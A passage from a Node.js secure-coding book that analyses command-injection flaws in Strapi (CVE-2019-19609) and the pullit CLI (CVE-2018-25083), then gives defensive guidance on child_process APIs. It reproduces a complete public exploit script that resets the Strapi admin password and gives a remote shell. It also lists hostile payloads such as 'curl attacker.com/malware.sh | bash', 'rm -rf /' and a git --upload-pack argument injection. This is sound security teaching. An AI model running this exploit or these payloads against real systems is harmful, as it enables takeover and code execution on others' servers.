interpreting the file path as a command. However, this was
not sufficient to prevent a security vulnerability. The
developer should have used a more robust approach, such
as using the execFile() function instead of exec(). This
Node.js API takes an array of arguments instead of a string.
This would have prevented the command injection
vulnerability.
Specifically, this learning should be a lesson on why you
shouldn’t rely on client-side input validation or sanitization
as the original code in the package attempted.

OceanofPDF.com
7. CVE-2019-19609: COMMAND
INJECTION IN STRAPI

Strapi is an open-source headless Content Management System


(CMS), built on-top of the Node.js runtime, allowing developers
to easily build their content backend APIs so they can connect
their own frontend to drive those.

This open-source project developed well for Strapi, with more


than 44.6k stars on GitHub. It has an active community with
daily commits, discussions, and source code contributions.
Figure 14. Active development of the Strapi project on GitHub

7.1. About the Security Vulnerability


A command injection vulnerability in a high-profile project like
Strapi is a very worrying security concern, and makes it even
more intriguing to look into and understand the reasons behind
it.

Why and where would the Strapi project need to resort to


executing system processes if it’s a web application project?

The CVE report describes the vulnerability as follows:


 The Strapi framework before 3.0.0-beta.17.8 is
vulnerable to Remote Code Execution in the Install
and Uninstall Plugin components of the Admin panel.
This is because it does not sanitize the plugin name,
and attackers can inject arbitrary shell commands to
be executed by the execa function.
~ CVE-2019-19609

This provides more context and clarity as to where the


vulnerability manifests. Strapi has a marketplace of plugins,
and to support that it needs to provide back-office
administrators with a management interface to install plugins,
configure them and so on.

Let’s look at the source code that makes installing and


uninstalling plugins work, which is part of the strapi-admin
package, and located at packages/strapi-
admin/controllers/Admin.js:

Listing 15. packages/strapi-admin/controllers/Admin.js

1 const execa = require('execa');


2
3 async installPlugin(ctx) {
4 try {
5 const { plugin } = ctx.request.body;
6 strapi.reload.isWatching = false;
7
8 strapi.log.info(`Installing ${plugin}...`);
9 await execa('npm', ['run', 'strapi', '--', 'install',
10 plugin]);
11
12 ctx.send({ ok: true });
13
14 strapi.reload();
15 } catch (err) {
16 strapi.log.error(err);
17 strapi.reload.isWatching = true;
18 ctx.badRequest(null, [{ messages: [{ id: 'An error
19 occurred' }] }]);
}
},

It appears that the plugin variable is a string of text for the


name of a plugin. This plugin name is passed through the
function call to execa() which executes an npm script to install
it.

The code depicted here dealing with process execution should


raise a red flag. It’s generally not a wise idea to execute system
processes from a web application as we’ve already learned in
earlier vulnerability chapters.

The execa() function is imported into the code base from the
execa npm package. It’s a general purpose process execution
Node.js library that allows you to execute system processes as
an improved wrapper on top of Node.js' core child_process
APIs.

Does the security vulnerability lie within execa or elsewhere?


More on that mystery as we dive deeper into exploiting this
vulnerability.

7.2. Exploiting the Security Vulnerability


Looking at the CVE report for Strapi, we don’t find any mention
of a proof-of-concept or exploit code that we can easily test and
run. However, the Snyk Vulnerabilities Database entry for this
security issue is useful in curating and capturing pertinent
information, such as whether an exploit exists in the wild:

Figure 15. Strapi’s arbitrary code injection CVE on Snyk Vulnerabilities Database

Observe the Exploit Maturity in the top right. This hinting that
there’s potentially an actual exploit code that can be easily
weaponized against you in a semi-automated, or fully
automated fashion. This database entry also references Exploit
DB, is a well-known marketplace for security exploits.

Let’s look at the complete exploit code linked from the above:

# Exploit Title: Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE)


(Unauthenticated)
# Date: 2021-08-30
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://strapi.io/
# Software Link: https://strapi.io/
# Version: Strapi CMS version 3.0.0-beta.17.4 or lower
# Tested on: Ubuntu 20.04
# CVE : CVE-2019-18818, CVE-2019-19609

#!/usr/bin/env python3

import requests
import json
from cmd import Cmd
import sys

if len(sys.argv) != 2:
print("[-] Wrong number of arguments provided")
print("[*] Usage: python3 exploit.py <URL>\n")
sys.exit()

class Terminal(Cmd):
prompt = "$> "
def default(self, args):
code_exec(args)

def check_version():
global url
print("[+] Checking Strapi CMS Version running")
version = requests.get(f"{url}/admin/init").text
version = json.loads(version)
version = version["data"]["strapiVersion"]
if version == "3.0.0-beta.17.4":
print("[+] Seems like the exploit will work!!!\n[+] Executing
exploit\n\n")
else:
print("[-] Version mismatch trying the exploit anyway")

def password_reset():
global url, jwt
session = requests.session()
params = {"code" : {"$gt":0},
"password" : "SuperStrongPassword1",
"passwordConfirmation" : "SuperStrongPassword1"
}
output = session.post(f"{url}/admin/auth/reset-password", json =
params).text
response = json.loads(output)
jwt = response["jwt"]
username = response["user"]["username"]
email = response["user"]["email"]

if "jwt" not in output:


print("[-] Password reset unsuccessfull\n[-] Exiting now\n\n")
sys.exit(1)
else:
print(f"[+] Password reset was successfully\n[+] Your email is:
{email}\n[+] Your new credentials are: {username}:SuperStrongPassword1\n[+]
Your authenticated JSON Web Token: {jwt}\n\n")
def code_exec(cmd):
global jwt, url
print("[+] Triggering Remote code executin\n[*] Rember this is a blind
RCE don't expect to see output")
headers = {"Authorization" : f"Bearer {jwt}"}
data = {"plugin" : f"documentation && $({cmd})",
"port" : "1337"}
out = requests.post(f"{url}/admin/plugins/install", json = data, headers
= headers)
print(out.text)

if __name__ == ("__main__"):
url = sys.argv[1]
if url.endswith("/"):
url = url[:-1]
check_version()
password_reset()
terminal = Terminal()
terminal.cmdloop()

Let’s unwind this code and see what’s going on.

This exploit code, written in Python, chains two vulnerabilities


to amplify the attack. The command injection CVE (CVE-2019-
19609) that we’re learning about in this chapter requires
administrator-level access to the plugin management area, but
it’s concerning nonetheless, especially if Strapi is hosted in a
shared server environment which means the attacker can
execute commands on the host and potentially access other
users' installations.

But to exploit the command injection vulnerability, how do we


gain access to Strapi’s plugin administration interface? The
weaponized code exploits an improper access control
vulnerability reported previously via CVE-2019-18818. That
vulnerability is caused by using a MongoDB database and
insecure coding conventions that result in noSQL injection.

The exploitation follows these steps:

1. Detect if a vulnerable Strapi version exists at a given URL.

2. Exploit CVE-2019-18818 through a noSQL injection


vulnerability which resets the admin user’s password to one
that you specify.
3. Having admin access, exploit CVE-2019-19609 to gain
command injection in the plugins management web
interface and run commands on the host that serves the
Strapi web application.

Let’s analyze the payload code that exploits the command


injection vulnerability:

headers = {"Authorization" : f"Bearer {jwt}"}


data = {"plugin" : f"documentation && $({cmd})",
"port" : "1337"}
out = requests.post(f"{url}/admin/plugins/install", json = data, headers
= headers)

This code taken from the exploit program shows how the data
variable specifies a JSON data object with a key of plugin and a
value of documentation && $({cmd}). The nested cmd variable is
replaced with the command to be injected.

The security researcher who reported this vulnerability, shows


an example in their write-up, of how that HTTP POST request
would be presented as a JSON payload:

{
"plugin": "documentation && $(whoami > /tmp/whoami)",
"port":"1337"
}
The && character in the payload is a logical AND operation
notation in shells. This allows the attacker to chain multiple
commands together. This means that the code on the right-hand
side will be executed only if the code before it returns a
successful exit status. In this case, the first command-line
argument, documentation, was a valid plugin name that the
Strapi command would install. The second command line
argument, $(whoami > /tmp/whoami), would be executed only if
the first command succeeded.

By exploiting the vulnerability in the plugin name, an attacker


could execute any arbitrary shell command they wanted,
including malicious code that could compromise the system
running the execa library.

Now that we understand the vector of attack and specifically


the payload that’s being sent to the server, let’s take a look again
at the code that’s vulnerable to this attack:

Listing 16. packages/strapi-admin/controllers/Admin.js

1 const execa = require('execa');


2
3 async installPlugin(ctx) {
4 try {
5 const { plugin } = ctx.request.body;
6 strapi.reload.isWatching = false;
7
8 strapi.log.info(`Installing ${plugin}...`);
9 await execa('npm', ['run', 'strapi', '--', 'install',
plugin]);
If we were to piece the puzzle together from user input and into
the code, we’ll get the following:

await execa('npm', ['run', 'strapi', '--', 'install', 'documentation &&


$(whoami > /tmp/whoami)']);

This function signature of providing a command and an array


of arguments is common to the recommended secure Node.js
API execFile, because it provides a way to separate the
command from its optional arguments and handles each
command-line argument in isolation. As such, you’d expect that
the Strapi command-line, denoted as strapi, would treat the
user input of documentation && $(whoami > /tmp/whoami) as the
plugin name, and since that doesn’t actually exist, it would fail.
So then why is this line of code vulnerable to command
injection?

It’s easy to test the hypothesis of whether the issue lies within
the execa library or elsewhere. Having installed the npm
package, run the following Node.js code in a newly created file
called test.js:

const execa = require('execa');

await execa('ls', ['documentation && $(whoami > /tmp/whoami)']);

Next, create a file called 'documentation'. Its content doesn’t


matter, and it can be empty. This ensures that the ls command
to list files in the current directory will run successfully and in
turn will trigger the right-hand side of the && operator, which is
the command injection payload.

Now run the test code:

$ node test.js

Did it trigger a newly created file at /tmp/whoami? It didn’t.

As we can see in the execa package source code, it offloads


process execution to the spawn function from Node.js’s
child_process API:
Listing 17. execa/index.js

module.exports = (cmd, args, opts) => {


const parsed = handleArgs(cmd, args, opts);
const {encoding, buffer, maxBuffer} = parsed.opts;
const joinedCmd = joinCmd(cmd, args);

let spawned;
try {
spawned = childProcess.spawn(parsed.cmd, parsed.args,
parsed.opts);

The spawn API is a low-level API used to spawn system processes


and it allows you to run commands inside a shell if the shell
option is set to true (or to a string, specifying the shell’s
program path). However, the execa package doesn’t set the
shell option to true nor does any other shell program.

So, if the issue doesn’t lie with the execa package, where does
the vulnerability come from?
Let’s rewind to the original Strapi code which was vulnerable:

await execa('npm', ['run', 'strapi', '--', 'install', 'documentation &&


$(whoami > /tmp/whoami)']);

This code executes the npm package manager as a command,


along with the run command-line argument. It does this to
execute run-scripts which are either life-cycle or other
arbitrary scripts defined in the package.json file, such as:

{
"scripts": {
"start": "node server.js",
"strapi": "strapi",
"hello": "ls"
}
}

The npm run command is a convenient way to run those scripts


by their aliases which is what happens when npm run strapi is
invoked. The -- command-line argument instructs the npm
package manager to stop parsing arguments and passing them
to the script being invoked. And thus, executing the command
npm run strapi executes strapi install documentation &&
$(whoami > /tmp/whoami). In this scenario, and due to the way
the npm package manager implemented its support for run-
scripts, it executes them inside a shell, which is why the
command injection payload is executed.

NOTE

The npm package manager uses the @npmcli/run-script package to


manage the execution of run-scripts as well as the @npmcli/promise-
spawn package to execute system processes. The @npmcli/run-script
source code specifically defines a set of arguments that include running
commands inside a shell (code trimmed for brevity):

Listing 18. lib/make-spawn-args.js

const makeSpawnArgs = options => {


const {
scriptShell = true,
env = {},
cmd,
args = [],
} = options

const spawnEnv = setPATH(path, {


...process.env,
...env
})

const spawnOpts = {
env: spawnEnv,
cwd: path,
shell: scriptShell,
}

return [cmd, args, spawnOpts]


}

module.exports = makeSpawnArgs
7.3. Reviewing the Security Fix
The fix to the code in pull request #4636 for the command
injection CVE-2019-19609 vulnerability that we reviewed here is
a security control in the form of input sanitization.

Specifically, the maintainers have chosen to employ regular


expression validation before invoking the install or uninstall
plugin actions.
Listing 19. packages/strapi-admin/controllers/Admin.js

1 async installPlugin(ctx) {
2 try {
3 const { plugin } = ctx.request.body;
4
5 if (!/^[A-Za-z0-9_-]+$/.test(plugin)) {
6 return ctx.badRequest('Invalid plugin name');
7 }
8
9 strapi.reload.isWatching = false;
10
11 strapi.log.info(`Installing ${plugin}...`);
12 await execa('npm', ['run', 'strapi', '--', 'install',
13 plugin]);
14 ctx.send({ ok: true });
15 strapi.reload();
16 } catch (err) {
17 strapi.log.error(err);
18 strapi.reload.isWatching = true;
19 ctx.badRequest(null, [{ messages: [{ id: 'An error
20 occurred' }] }]);
}
}
The regular expression of /^[A-Za-z0-9_-]+$/ limits plugin
names to be installed to allow only:

1. Case-insensitive alphanumeric characters.

2. The characters _ and -.

In spite of the fact that this is a valid fix, it wouldn’t be


unreasonable to question whether the maintainers had a clear
understanding of why the vulnerability manifested in the first
place. Were there specific reasons they chose to fix the
vulnerability in this way rather than invoking the strapi
command-line tool directly?

A more appropriate security fix would have been to forego


npm’s run-scripts feature and directly invoke the strapi
command-line tool to install the plugin, such as:

async installPlugin(ctx) {
try {
const { plugin } = ctx.request.body;

strapi.reload.isWatching = false;

strapi.log.info(`Installing ${plugin}...`);
await execa('strapi', ['install', plugin]);

This would have prevented the security vulnerability from


manifesting in the first place.
7.4. Lessons Learned
The CVE-2019-19609 vulnerability report for Strapi
demonstrates the importance of sanitizing user input when
passing it to system commands to avoid command injection
attacks. In the case of Strapi, the vulnerability allowed an
attacker to inject arbitrary shell commands to be executed by
the execa function. This resulted in a remote code execution
vulnerability.

This vulnerability was discovered in the strapi-admin package,


which manages plugins in the Strapi marketplace. The impact
of this vulnerability would be to allow an attacker to execute
arbitrary commands with the permissions of the user running
the Strapi application.

The following are insights developers can gain from this


vulnerability:

1. Mindful of system commands in their applications. Ensure


that you use secure and preferred system process APIs such
as execFile, over exec and spawn when executing system
commands. This is in cases where shell expansion is not
required.
2. Regardless of how you execute system commands, it is
important not to invoke npm’s run-scripts directly with npm
run as that will execute the command inside a shell and
expose you to vulnerabilities associated with command
injection.
3. Before passing sensitive API calls such as system processes
to sensitive API calls, you should treat user input with care
and follow proper sanitization practices when dealing with
user input.
4. When chaining multiple exploits together, it is imperative to
be aware of the increased attack surface. It is possible that
attackers can gain unauthorized access to the system or
damage it altogether.
5. Understanding how exploits are weaponized and made
available in hacker forums and open marketplaces can help
organizations better factor cyber attack risks.

6. Command injection vulnerabilities can have severe


consequences from unexpected data sources. In this case,
the user controls the name of their plugin, resulting in a
command injection attack. It is imperative to be diligent in
checking for user input across all parts of your application.

In conclusion, Strapi’s vulnerability serves as a reminder to


developers that even well-known and well-established projects
can contain security vulnerabilities, and that it is important to
adopt secure coding practices and stay up-to-date with the latest
security patches and updates to ensure your applications'
security.
OceanofPDF.com
8. CVE-2018-25083: COMMAND
INJECTION IN PULLIT

The pullit package on npm, also known as Pull It, is a terminal


user interface (TUI) that displays and pulls remote Git branches
of open GitHub pull requests in Github repositories.

This command-line tool allows developers to quickly browse a


repository’s open pull requests and select one by its title to
switch your local Git working branch across.
Figure 16. A screenshot of pullit CLI in action

Command line (CLIs) tools are usually not as ubiquitous as


application libraries due to their nature of being less of a
hoisted dependency that trickles into an application’s
dependency tree. Another notable information about CLIs is
that they are rarely open to Internet-public user interaction like
web applications are, and so they are often ignored as a
significant threat. As such, it is common for developers to wave
off such vulnerabilities and deeming any vulnerability
associated with CLIs as false positive.

NOTE

The argument provided by developers or security practitioners who rule


out vulnerabilities in CLIs is most often that if an attacker can provide
command line arguments as well as bee able to run the CLI the way they
want, it’s already game over.

However, that’s sometimes an understatement as we’ll learn with the case


of a command injection found in the open-source pullit npm package.

8.1. About the Security Vulnerability


In 2018, as a command-line tool enthusiast[3] building terminal
user interface applications and CLIs myself, I heard about
pullit and started using it for my own projects.

Developers being curious creatures, I poked into its source code


to learn how it manages its visual interface. However, I didn’t
expect to find a potential command injection flow in the
process. The following is the relevant source code at the time,
trimmed down for brevity:
Listing 20. pullit/src/index.js

1 const GitHubApi = require('github');


2 const Menu = require('terminal-menu');
3 const {
4 execSync
5 } = require('child_process');
6 const parse = require('parse-github-repo-url');
7
8 class Pullit {
9 fetch(id) {
10 return this.github.pullRequests
11 .get({
12 owner: this.owner,
13 repo: this.repo,
14 number: id
15 })
16 .then(res => {
17 const branch = res.data.head.ref;
18 execSync(
19 `git fetch origin pull/${id}/head:${branch} && git
20 checkout ${branch}`
21 );
22 })
23 .catch(err => {
24 console.log('Error: Could not find the specified pull
25 request.');
26 });
27 }
28
29 display() {
30 this.fetchRequests().then(results => {
31 const menu = Menu({
32 width: process.stdout.columns - 4,
33 x: 0,
34 y: 2
35 });
36 menu.reset();
37 menu.write('Currently open pull requests:\n');
38 menu.write('-------------------------\n');
39
40 results.data.forEach(element => {
41 menu.add(`${element.number} - ${element.title} -
42 ${element.head.user.login}`);
43 });
44
45 menu.add(`Exit`);
46
47 menu.on('select', label => {
48 menu.close();
49 this.fetch(label.split(' ')[0]);
50 });
51 }
}

module.exports = Pullit;

Perhaps the use of execSync = require('child_process')


provides some hint at the risk involved. Specifically, line 19 in
the above source code executes the following Git system
commands:

execSync(
`git fetch origin pull/${id}/head:${branch} && git checkout ${branch}`
);

However, how would an external threat actor interact with it?


Here is where things get interesting and educate us on how
user input flows into applications, or CLIs in this case, in
unexpected ways.

At this point, I wondered what if I could create Git branches


with special shell-related characters in them? Even if I could do
that, I’d need to push them to a GitHub repository for them to
be used in an attack on developers. Won’t GitHub filter out
these weirdly named Git branches?

Let’s explore an idea for a branch name which, when used as


the source for a command execution API like Node.js’s
execSync(), will trigger arbitrary user-controlled system
commands:
";{echo,hello,world}>/tmp/c"

This input is a fully acceptable and legitimate branch name. In


fact, you can run the following command to demonstrate how
to create a Git branch with this name in your local development
environment:

git checkout -b ";{echo,hello,world}>/tmp/c"

When the above command is run as-is, the branch name part,
identified by the command-line value passed to the -b
command flag, is properly quoted and treated as a branch
name to be created.

However, what happens when the same input is passed into a


process execution API such as the following code?

const branch = ";{echo,hello,world}>/tmp/c"


execSync(
`git checkout ${branch}`
);

It is passed as a string of text to be evaluated by the shell


interpreter:

const branch = ";{echo,hello,world}>/tmp/c"


execSync(
`git checkout ;{echo,hello,world}>/tmp/c`
);
The result is that a seemingly innocent branch name is now
interpreted as a command to be executed by the shell
interpreter.

Why and how does this branch name work for command
injection?

▪ The leading ; character instructs the shell interpreter to


terminate the previous command (git checkout), and start the
next command to be executed.
▪ The {…​
} is a special syntax for the shell interpreter referred to
as command grouping which defines a list of commands to be
executed. In this case {echo,hello,world} expands into the
command echo hello world.
▪ The last part of this user input which acts as a malicious
payload is >/tmp/c that instructs the shell program to direct
all standard output (> is the notation for stdout) of the
command (echo hello world) into the file path identified as
/tmp/c.

The question at this point becomes - is it really possible to name


a Git branch ;{echo,hello,world}>/tmp/c ? The remarkable
answer is yes. It’s absolutely possible, and in fact you will be
able to this branch to GitHub and it will show up as is:
Figure 17. GitHub UI shows a perfectly valid and legitimate Git branch name with
dangerous characters impacting operating system shell interpreters and may result in
command injection.

8.2. Exploiting the Security Vulnerability


As we learned by reviewing pullit’s source code, the pullit
npm package makes insecure use of system process API (such as
employing the user of `exec() or execSync() with insecure user
input). This makes the tool vulnerable to malicious user input
based on a remote branch name on the GitHub platform (and
potentially other Git source control management systems).

This is made especially severe due to the GitHub workflow for


open-source contributions which embraces forking projects by
third-party contributors who control their branch name. This
results in the risk of tricking innocent users who use the pullit
tool to pull their branch and execute arbitrary commands.

1. Create a branch that could potentially terminate an exec()


command and concatenate a new command: git checkout -
b ";{echo,hello,world}>/tmp/c".
2. Push it to GitHub and create a pull request with this branch
name.

3. Run pullit, select the pull request with the title matching
the dangerous source branch to checkout locally.

4. Confirm the following file has been created /tmp/c with the
contents of "hello world".

8.3. Reviewing the Security Fix


To fix this issue, the maintainer applied the following commit,
most notably exchanging execSync with execFileSync which
separates the command from its arguments, and provides
protection against user input concatenation. Following is a
partial snippet of the committed fix:
execFileSync("git", ["fetch", "origin", `pull/${id}/head:${branch}`]);
execFileSync("git", ["checkout", branch]);

This was indeed an effective fix against string concatenation in


which user input flowed into the overall command passed to
the shell interpreter.
8.4. Lessons Learned
In this chapter, we reviewed the security vulnerability in the
pullit package discovered in 2018. The vulnerability allowed
an attacker to execute arbitrary commands on the host system
by specifying a specially crafted Git branch name.

One of the key takeaways from this case is that command-line


tools are not immune to security vulnerabilities, despite being
less commonly used than application libraries. In fact, CLIs can
be just as vulnerable as web applications or other types of
software, and should be treated as such. Developers and
security practitioners should not immediately ignore
vulnerabilities associated with CLIs as false positives.

We also learned about the dangers of assuming input always


comes from expected and trusted sources. We saw how
seemingly innocuous data sources can be exploited to execute
harmful commands. Specifically, we learned that user input
may originate from unexpected sources, such as a Git branch
name. In addition, characters like the semicolon (;) can take on
a different meaning when flowing into sensitive system APIs
such as command execution. This highlights the importance of
implementing proper input validation and sanitization
techniques to prevent potentially harmful commands from
being executed on a system.
Eventually, the pullit vulnerability was caused by the package’s
misplaced trust in Git naming conventions. This naive
assumption was abused by an attacker to execute arbitrary
commands.

Overall, this chapter highlights the importance of proactive


security approaches in software development. It also highlights
the importance of following security best practices such as
using execFile vs exec. This would have helped mitigate this
security vulnerability.
3 Command-line tools by Liran Tal: https://github.com/lirantal/dockly,
https://github.com/lirantal/awesome-nodejs-security and
https://github.com/lirantal/npq

OceanofPDF.com
9. DEFENDING AGAINST
COMMAND INJECTION

Following are curated secure coding best practices for


preventing command injection attacks in Node.js applications.
We look at the different ways command injection
vulnerabilities can be introduced. We reflect on the subtleties of
incorrectly using child process APIs, and address each attack
vector with practical secure coding advice.

Learnings
By the By the end of this summary chapter, you will be skilled at secure coding
practices, perform secure code reviews and answer questions such as:

▪ Which Node.js process executing APIs are recommended as safe methods to


execute commands?
▪ What are the security implications of using the shell option of the
child_process APIs?

▪ When and how should you escape user input to prevent command injection
vulnerabilities?
▪ How do you effectively protect against argument injection attacks?

▪ What are the security implications associated with invoking the npm package
manager’s run-scripts?
9.1. Node.js child_process: Choosing the Right
API for Secure Command Execution
When writing secure code in Node.js that involves executing
child processes, it’s critical to know the potential vulnerabilities
that exist. It’s also important to follow secure coding
conventions to avoid them.

The Node.js core module for process execution is child_process.


However, some of its APIs, such as exec, can lead to command
injection security vulnerabilities, even when developers
attempt to sanitize user input.

The following properties of the exec function make it an


extremely dangerous programming interface and highly
vulnerable to command injection attacks.

9.1.1. Commands Passed as Strings


When the command to execute is passed as a string, developers
often use string concatenation to build the command. This may
lead to command injection vulnerabilities. Even when
developers attempt to apply security controls such as sanitizing
user input, they often miss edge cases that can lead to
vulnerabilities.

const { exec } = require('child_process');

exec(`echo ${userInput}`, (err, stdout, stderr) => {


if (err) {
console.error(`exec error: ${err}`);
return;
}
console.log(`stdout: ${stdout}`);
});

9.1.2. Commands Executed Within a Shell


When the command is executed within a shell it increases the
attack surface and creates additional concerns for developers to
produce security controls that mitigate the risks. Running
commands within a shell allows the attacker to use shell
features like shell expansion, shell globbing, logical operators
and other capabilities. These features allow them to execute
commands by chaining them together with semicolons.

Considering the above code snippet, what if the value for


userInput is echo "; rm -rf /"? The command will be executed
is echo ; rm -rf /, which deletes the entire file system. This is a
command injection vulnerability.

As a developer, you might rush to implement sanitization


controls to prevent command injection from taking place.
However, there are other ways to abuse commands executed
inside a shell. Consider the following user inputs:

$(whoami > /tmp/whoami)


The shell command is wrapped with the use of the $()
syntax for command substitution. This allows one
command’s output to be used as input for another
command. In this case, the whoami command is executed to
get the current user’s username and the output is redirected
to a file at /tmp/whoami using the > shell operator.

thisdoesntexist || curl attacker.com/malware.sh | bash


This attack vector uses the logical OR operator (||) to ensure
that the right-hand side of the command will be executed if
the first command fails.

curl attacker.com/malware.sh | bash #


This payload uses the # character to comment out the rest of
the command line. This is so that the injected command is
executed first if placed before other concatenated input, and
then the rest of the intended command is ignored.

As alternatives to exec(), developers should use safer


child_process APIs with a shell environment disabled:
execFile() and spawn().

Both APIs are safe to use due to two key properties - they isolate
the command from its arguments and do not execute
commands within a shell.

Let’s explore these topics in more detail in the following


sections.
9.1.3. Isolate Commands From Their
Arguments
This means that the command and its command-line arguments
are passed as function arguments to the execFile and spawn APIs
instead of a single string that requires string interpolation. This
effectively removes the developer’s burden of sanitizing user
input.


NOTE

Since the command is not executed inside a shell, the notion of a shell
environment doesn’t exist. Therefore, there’s no notion of paths available
to look up commands. This means that the command function parameter
needs to be specified as the full path to the executable.

9.1.4. Default to Executing Commands


Outside a Shell Environment
This means that shell features such as command substitution,
globbing, and logical operators are not available to an attacker.
This makes it harder for an attacker to inject malicious
commands as part of the command as there is no shell to
interpret them.

NOTE

Both execFile() and spawn() allow commands within a shell by setting


the shell option to true (or providing the shell program’s file path as a
string). However, this is turned off by default and is an effective security
control as such. If these functions are used with the shell option set to
true, the developer must ensure that the command and its arguments are
properly escaped. This is to prevent command injection vulnerabilities.

Following is an example of the execFile API:

const { execFile } = require('child_process');

// We're only passing the PATH environment variable to


// the child process that executes the `stat` command. This helps
// to minimize the risk of sensitive information being leaked
// to the child process.
const childProcessEnv = { PATH: process.env.PATH };

execFile('stat', [userInput], { childProcessEnv }, (err, stdout, stderr) => {


if (err) {
console.error(`execFile error: ${err}`);
return;
}
console.log(`stdout: ${stdout}`);
});

9.1.5. Summarizing Recommendations for


Hardened APIs Usage
In summary, consider the following high-level security
takeaways when using the child_process module:
1. Do not use string interpolation to build the command.

2. Use execFile() or spawn() instead of exec().

3. Do not use the shell option of the above recommended


APIs, unless absolutely necessary and with adequate shell
quoting as a security control in place.

4. Minimize environment variables information when using


the execFile() and spawn() APIs to ensure no sensitive
information is leaked to system processes.

9.2. Secure Command Execution Through


Escaping Techniques
When attempting to execute commands inside a shell,
developers need to carefully escape user input to prevent
command injection vulnerabilities.

It is highly discouraged for developers to implement command-


line arguments sanitization on their own or to implement
escaping via shell programs. Instead, use well-known,
maintained and up-to-date npm packages that perform
commands and command-line arguments escaping for you.

One such package is shell-quote, which provides a function for


escaping shell arguments used in Node.js applications. The
shell-quote library supports both Unix-like shells and Windows
command prompts, making it cross-platform. Once installed,
you can use the quote() function to escape command
arguments.

For example, let’s say we need to run the git program inside a
shell and print the commit log of a user-specified file name
under version control. The following code snippet demonstrates
how to do this securely:

1 const { execFile } = require("child_process");


2 const { quote } = require("shell-quote");
3
4 const userFilePath = "information.txt; touch /tmp/hacked";
5 const safeUserFilePath = quote([userFilePath]);
6
7 execFile(
8 'git', ["log", safeUserFilePath], { shell: true },
9 (error, stdout, stderr) => {
10 if (error) {
11 console.error(`execFile error: ${error}`);
12 return;
13 }
14 console.log(`stdout: ${stdout}`);
15 console.error(`stderr: ${stderr}`);
16 }
17 );

In the above code, we use the quote function from shell-quote


to apply string quotes to the file name that originates from user
input. This ensures it is passed to the git command as a single
argument specifying the name of the file. It is also without any
shell expansions or other command injection payloads that may
take advantage of shell capabilities and abuse them.
The result will be an error message from the git program:

execFile error: Error: Command failed: git log 'information.txt; touch


/tmp/hacked'
fatal: ambiguous argument 'information.txt; touch /tmp/hacked': unknown
revision or path not in the working tree.
Use '--' to separate paths from revisions, like this:
'git <command> [<revision>...] -- [<file>...]'

If we didn’t properly escape the branch variable using proper


quoting, despite using execFile or spawn, the attacker could have
injected a command that would have been executed by the shell
(because we passed the shell option to these APIs). That attack
would have resulted in a new file at /tmp/hacked.

When does escaping become necessary and to which API calls


should it be applied? The following table summarizes the
escaping requirements for the child_process APIs:

Table 1. Command Arguments Escaping Requirements for Child Process Node.js APIs

API Reference function signature Inside Escaping


shell? required?

exec() exec('git log ' + quote(userInputFileName)) Yes Yes

execFile() execFile('git', ['log', userInputFileName]) No No

spawn() spawn('git', ['log', userInputFileName]) No No

execFile() execFile('git', ['log', Yes Yes


quote(userInputFileName)], { shell: true })
spawn() spawn('git', ['log', Yes Yes
quote(userInputFileName)], { shell: true })

execFile() execFile('git log ' + Yes Yes


quote(userInputFileName), { shell: true })

spawn() spawn('git log ' + quote(userInputFileName), Yes Yes


{ shell: true })

9.2.1. Mitigate Risks from Untrusted


Command Arguments
So far we have discussed how to use safe child_process APIs to
execute system processes. We have also discussed the
importance of escaping user input when programs execute
within shells. However, there is an additional attack vector that
can be abused even when using a safe API such as execFile()
without running the program inside a shell and that is
Argument Injection.

Argument injection is a security vulnerability that occurs when


untrusted user input is passed as an argument to a command-
line program or a system call without proper validation or
sanitization. Attackers can take advantage of this vulnerability
to pivot the original command from its intended behavior to a
different one altogether. This can potentially result in arbitrary
commands being executed on an affected system. Potential risk
can result in anything from unauthorized access to sensitive
data, or a denial of service by crashing the system.
Consider the following example which demonstrates how to
fetch a remote branch from a Git repository with the user
controls the remote branch name:

const task = execFile('git',


[
'fetch',
req.body.remote
req.body.branch
]
);

In the above example, the remote parameter is passed as an


argument to the git program without validation or sanitization.
While generally, this wouldn’t be an issue because the
execFile() API here doesn’t run the program inside a shell.
However, an attacker could still abuse this vulnerability by
using Git’s own command-line arguments to instruct it to
execute a command of their choice. For example, the attacker
could pass the following values as the remote and branch name
parameters and cause the git program to execute the touch
command:

curl http://example.com \
-X POST \
-H "Content-Type: application/json" \
-d '{"remote": "--upload-pack=/bin/touch", "branch": "/tmp/hacked"}'

To prevent command injection vulnerabilities, it is imperative


to validate and sanitize command arguments when dealing
with untrusted input that flows into a program.
Following are best practices to mitigate the above-mentioned
risks of argument injection:

9.2.2. Validate Command Argument for


Expected Schema
Developers should validate user input that flows into a
command argument with a schema to ensure it conforms to
expected values and types. For example, if a command
argument should only contain alphanumeric characters,
developers should validate the input to ensure that it doesn’t
contain any special characters or control characters that could
be used for injection attacks. Another example would be to
validate the expected format. For example, if an input is
intended to be a URL, developers should validate that it
conforms to that along with the allowed protocol scheme.

9.2.3. Limit Command Arguments Scope with


an Allow-list
Developers should use an allow-list of known, safe command
arguments to prevent injection attacks. By using an allow-list,
developers can limit the potential impact of an injection attack
by only accepting a predefined set of values.

const { execFile } = require("child_process");

function gitCheckout(branchName) {
const allowedBranches = ["main", "master"];
if (!allowedBranches.includes(branchName)) {
throw new Error("Invalid branch name");
}

execFile("git",
["checkout", branchName], (error, stdout, stderr) => {});
}

In the above code example, the branchName command-line


argument is validated against an allow-list of known, deemed-
safe branch names by the developer.

9.2.4. Isolate Command Arguments with the


Double-Dash Separator
Use the special shell '--' argument to separate the command
from its arguments

Developers should use the special shell argument -- to separate


the command from its command-line arguments. This double-
dash effectively acts as a delimiter to ensure that any
subsequent arguments are treated as positional arguments and
not as options to the command (such as --upload-pack in the
above introductory example), preventing argument injection
attacks.

Following is an example of how to use the double-dash


separator to separate the command from its arguments:

const { execFile } = require('child_process');

function decompressArchive(archiveName) {
execFile('tar',
['-xvf', '--', archiveName], (error, stdout, stderr) => {});
}

9.3. Proactive Prevention of Command


Injection Vulnerabilities
The following are additional recommendations to prevent
command injection vulnerabilities and practice proactive
security controls when executing system processes from
Node.js applications:

1. Limit the execution of commands to only those necessary


for application functionality. Do not allow user input to
control the program to be executed. Ensure you use a closed
mapping for a set of commands that are known to be safe.

const { execFile } = require('child_process');

const allowedCommands = {
'git': '/usr/bin/git',
'ping': '/bin/ping',
};

function executeCommand(command, args) {


const executablePath = allowedCommands[command];
if (executablePath) {
execFile(executablePath, args, (error) => {
